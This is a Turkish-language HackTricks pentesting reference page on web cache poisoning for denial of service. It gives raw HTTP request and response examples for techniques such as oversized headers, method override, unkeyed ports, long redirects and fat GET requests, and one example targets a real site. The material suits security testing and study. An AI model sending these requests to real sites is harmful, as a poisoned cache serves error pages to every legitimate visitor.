hacktricks/pentesting-web/cache-deception/cache-poisoning-to-dos.md

150 lines
6.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Önbellek Zehirlenmesi ile DoS
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'in (https://opensea.io/collection/the-peass-family) bulunduğu koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% hint style="danger" %}
Bu sayfada, **web sunucunun önbellek sunucuları için geçerli olan isteklere hatalarla yanıt vermesini denemek için farklı varyasyonlar** bulabilirsiniz.
{% endhint %}
* **HTTP Başlık Boyutu Aşımı (HHO)**
Web sunucunun desteklediğinden daha büyük ancak önbellek sunucusunun desteklediğinden daha küçük bir başlık boyutu ile bir istek gönderin. Web sunucusu, önbelleğe alınabilecek bir 400 yanıtı ile yanıt verecektir:
```
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
```
* **HTTP Meta Karakteri (HMC) ve Beklenmeyen Değerler**
Bir `\n` ve `\r` gibi **zararlı meta karakterler** içeren bir başlık gönderin. Saldırının çalışması için önce önbelleği atlamalısınız.
```
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
```
Bir kötü yapılandırılmış başlık sadece `\:` olabilir.
Bu ayrıca beklenmeyen değerler gönderildiğinde de çalışabilir, örneğin beklenmeyen bir Content-Type:
```
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
```
* **Anahtarlı olmayan başlık**
Bazı web siteleri, istekteki belirli başlıkları gördüklerinde hata durum kodu döndürebilirler, örneğin _X-Amz-Website-Location-Redirect: someThing_ başlığı gibi:
```
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
```
* **HTTP Yöntem Geçersiz Kılma Saldırısı (HMO)**
Sunucu, `X-HTTP-Method-Override`, `X-HTTP-Method` veya `X-Method-Override` gibi başlıklarla HTTP yöntemini değiştirme desteği sağlıyorsa, geçerli bir sayfa istenerek yöntem değiştirilebilir, böylece sunucu bunu desteklemediği için kötü bir yanıt önbelleğe alınabilir:
```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```
* **Anahtarlanmamış Port**
Eğer Host başlığındaki port yanıtta yansıtılıyor ve önbellek anahtarında bulunmuyorsa, kullanılmayan bir porta yönlendirmek mümkündür:
```
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
```
* **Uzun Yönlendirme DoS**
Aşağıdaki örnekte olduğu gibi, x önbelleğe alınmıyor, bu yüzden bir saldırgan yönlendirme yanıt davranışını kötüye kullanarak yönlendirmenin gönderdiği URL'yi o kadar büyük yapabilir ki bir hata döndürür. Sonra, x anahtarı önbelleğe alınmamış olan URL'ye erişmeye çalışan kişiler hata yanıtını alacaklardır:
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
```
* **Ana başlık durum normalleştirme**
Ana başlık harf büyüklüğüne duyarsız olmalıdır ancak bazı web siteleri, küçük harf olmasını bekler ve öyle olmadığında hata döndürür:
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
```
* **Yol normalleştirme**
Bazı sayfalar, verileri URLencode olarak yollayarak hata kodları döndürecektir, ancak önbellek sunucusu yolun URLdecode edilmesini yapacak ve yanıtı URLdecode edilmiş yola saklayacaktır:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
```
* **Fat Get**
Bazı önbellek sunucuları, Cloudflare gibi veya web sunucuları, bir gövde ile GET isteklerini durdurur, bu nedenle bu, geçersiz bir yanıtı önbelleğe almak için kötüye kullanılabilir:
```
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
```
## Referanslar
* [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>